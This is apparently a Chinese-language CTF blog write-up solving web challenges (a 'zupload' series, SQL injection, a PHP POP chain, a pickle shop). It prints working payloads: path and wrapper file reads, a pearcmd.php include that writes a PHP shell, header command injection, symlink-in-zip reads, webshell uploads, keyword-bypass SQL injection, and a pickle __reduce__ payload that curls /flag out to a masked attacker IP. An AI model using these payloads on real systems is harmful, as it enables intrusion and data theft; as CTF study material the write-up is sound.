获取中...

-

Just a minute...

by:Infernity

zupload

给了源码,看下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') { //判断是否是GET方法
if (!isset($_GET['action'])) { //如果没有action参数就重定向
header('Location: /?action=upload');
die();
}
die(file_get_contents($_GET['action']));//重要函数,直接打flag
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') { //是post方法报错
echo json_encode(array(
'status' => 'error',
'message' => 'Not implemented yet'
));
}

我把注释打在上面。

所以打入?action=/flag即可读出flag。

begin{jUS7_r34d_ace11d9d89a0}

zupload-pro

这里重复的代码块不再列出,就列出主要代码块。

1
2
3
4
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));

现在我们的action的参数第一个不能是/,且不能有..

我本来第一反应是第一个不能是斜杠,那么就目录穿越../../../flag

但是这里直接把..ban了。

file_get_contents函数有个性质,可以用伪协议,这里直接加入file://伪协议读文件

?action=file:///flag

begin{1s_tHlS_4_W3b5hEI1_0ca746cb0902}

zupload-pro-plus

题出的真撇=-=

跟上一题的payload一模一样直接过。

begin{5trAN6e_suFflX_57341c648eaa}

zupload-pro-plus-max

1
2
3
4
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));

这里关键函数被改成了include,判断条件为第一个不能是/,而且payload里最多一个/

这里相当于禁用了伪协议,因为伪协议都是xxx://开头的,而且禁用了目录穿越,目录穿越一般也要很多斜杠。

发现pearcmd.php在当前目录可以裸文件包含

?action=pearcmd.php&+config-create+/<?=`env`?>+/var/www/html/1.php

然后去看1.php直接找到flag

begin{EV1l_Z1P_e022ad893425}

zupload-pro-plus-max-ultra

一眼丁真,这里没有任何可以包含文件的地方,只有一个关键函数exec()这个函数可以执行命令,但是无回显。

我把关键代码块列出:

1
2
3
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

就这两句,第一句是检查请求头中有没有X-EXTRACT-TO头,如果没有,就$extract_to=’uploads/‘;

那么要做什么显而易见了,我们在上传文件的时候手动添加一个请求头,把请求头的参数设置为我们的payload,然后系统就会自动执行了。

这里先/tmp;满足前面unzip name -d path的条件,然后分号执行我们下面的命令,由于他无回显,我们就把flag放到当前目录,然后再打开即可。

X-EXTRACT-TO:/tmp;cat /flag>/var/www/html/1.txt

执行完毕后,打开1.txt拿到flag

begin{cMD_lNjECTeD_2d9d7d54c4a2}

zupload-pro-plus-max-ultra-premium

这道题吧文件名加密后还经过安全处理,我们完全不能通过exec函数下手了,但是这道题还是给我们解压了,所以可以用软链接的方式拿到flag

新建一个空白文件夹,在文件夹里打开终端,打入以下命令。

ln -s /flag flag

zip -y flag.zip flag

然后把flag.zip上传,进入uploads/flag

下载下来后就是我们需要的flag了。

begin{s0_sOFt_039762d9dda7}

zupload-pro-revenge

查看源码,发现没有后端验证,传一个zip,然后抓包改成php即可,直接连。

flag{34dd54d7-4e2f-4441-973a-d3f79c226858}

zupload-pro-plus-enhanced

源码里有这样一段$file_ext = strtolower($file_ext[1]);

这是看后缀的倒数第二个检查是不是zip

所以传文件为xxx.zip,然后抓包,改为xxx.zip.php

这就是我们的马了,直接连上去就好了。

flag{cf280ea2-db60-48af-bea2-ab6070f41f30}

SQL 注入教学局

过滤空格,and,or,select,load,from

这些都可以双写绕过

1’//union//selselectect//group_concat(flag)//frfromom/**/secret.passwoorrd#

这是第一段flag{bc925e53-

第二段给了表名列名直接查就行

1’//union//selselectect//grade//frfromom//scoorre//where//student//like/**/‘begin’#

92c5-4a28-9ddc

1’//union//selselectect/**/loloadad_file(“/flag”)#

这是第三段-37ea50e97afe}

flag{bc925e53-92c5-4a28-9ddc-37ea50e97afe}

POPgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Fun{
public $func = 'call_user_func_array';
}

class Test{
}

class A {
public $a;
}

class B {
public $p='phpinfo';
public $a;
}

$x= new B();
$x->a=new A();
$x->a->a=new fun();

echo urlencode(serialize($x));
?>

最后注意call_user_func和call_user_func_array的用法和参数位置即可。

flag{fc369b30-0f07-4be7-9b95-34716bfce712}

pickelshop

一眼pickel反序列化,在注册界面注册,发现给了一个cookie

图片.png

那么就在登录界面打payload:

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @/flag xx.xxx.xxx.xxx:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

cookie:user=………………

然后在服务器上监听2333端口

发包,拿到flag。

flag{9ef7a78b-4e25-4d80-b805-90e5aa152f61}

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024